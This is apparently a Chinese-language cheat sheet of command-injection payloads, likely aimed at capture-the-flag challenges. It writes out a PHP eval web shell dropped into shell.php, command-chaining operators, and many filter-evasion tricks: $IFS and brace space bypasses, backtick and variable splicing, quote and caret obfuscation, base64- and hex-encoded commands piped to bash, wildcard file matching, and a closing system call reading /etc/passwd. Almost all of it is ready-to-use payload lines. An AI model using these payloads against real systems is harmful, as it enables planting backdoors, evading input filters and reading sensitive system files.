命令执行
写文件
windows下
对于< , & 等特殊字符使用 ^ 进行转义
echo ^<?php eval($_POST[a]); ?^> > shell.php
Linux下
echo ‘<?php eval($_POST[a]); ?>’ > shell.php
管道符
windows 下
| 直接执行后面的语句
|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
& 前面和后面命令都要执行,无论前面真假
&& 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
linux下
; 前面和后面命令都要执行,无论前面真假
| 直接执行后面的语句
|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
& 前面和后面命令都要执行,无论前面真假
&& 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
空格绕过
$IFS
$IFS$1
${IFS}
<
<>
{cat,flag.php}
X=$’A\x20B’&&$X A为命令,B为参数,用\x20代替空格。
%20 %09 php环境
关键字绕过
反引号
`id`
$()
ls $(id) 或者 $(id)
内联执行
a=who;b=ami;$a$b
a=she;b=ll;cat $a$b.php
反斜线
ls;wh\oa\mi
单双引号
who’a’mi
base64
echo d2hvYW1p|base64 -d|sh
echo d2hvYW1p|base64 -d|bash
hex
echo 77686F616D69|xxd -r -p|bash
代表为空的特殊字符
$* ls;who$*ami
$@ ls;who$@ami
$x x为1-9
${x} x为任意正整数
进阶
wh`asd`oa`rfv`mi
截取环境执行命令
${PATH:5:1}${PATH:2:1}
Windows
“w”h”o”a”m”i”
wh^oa^mi
(((w””h^o^a”m”i)))
set a=who set b=ami %a%%b%
set a=abc who^%a:~0,1%mi
匹配符
任意一个字符
cat sh[efg]ll.php 匹配[efg]中任意一个字符
cat sh[a-z]ll.php 匹配[a-z]中任意一个字符
任意字符
cat she*
正则
cat ?????.???
函数名绕过
php7
# 以system()为例:system("cat /etc/passwd"); |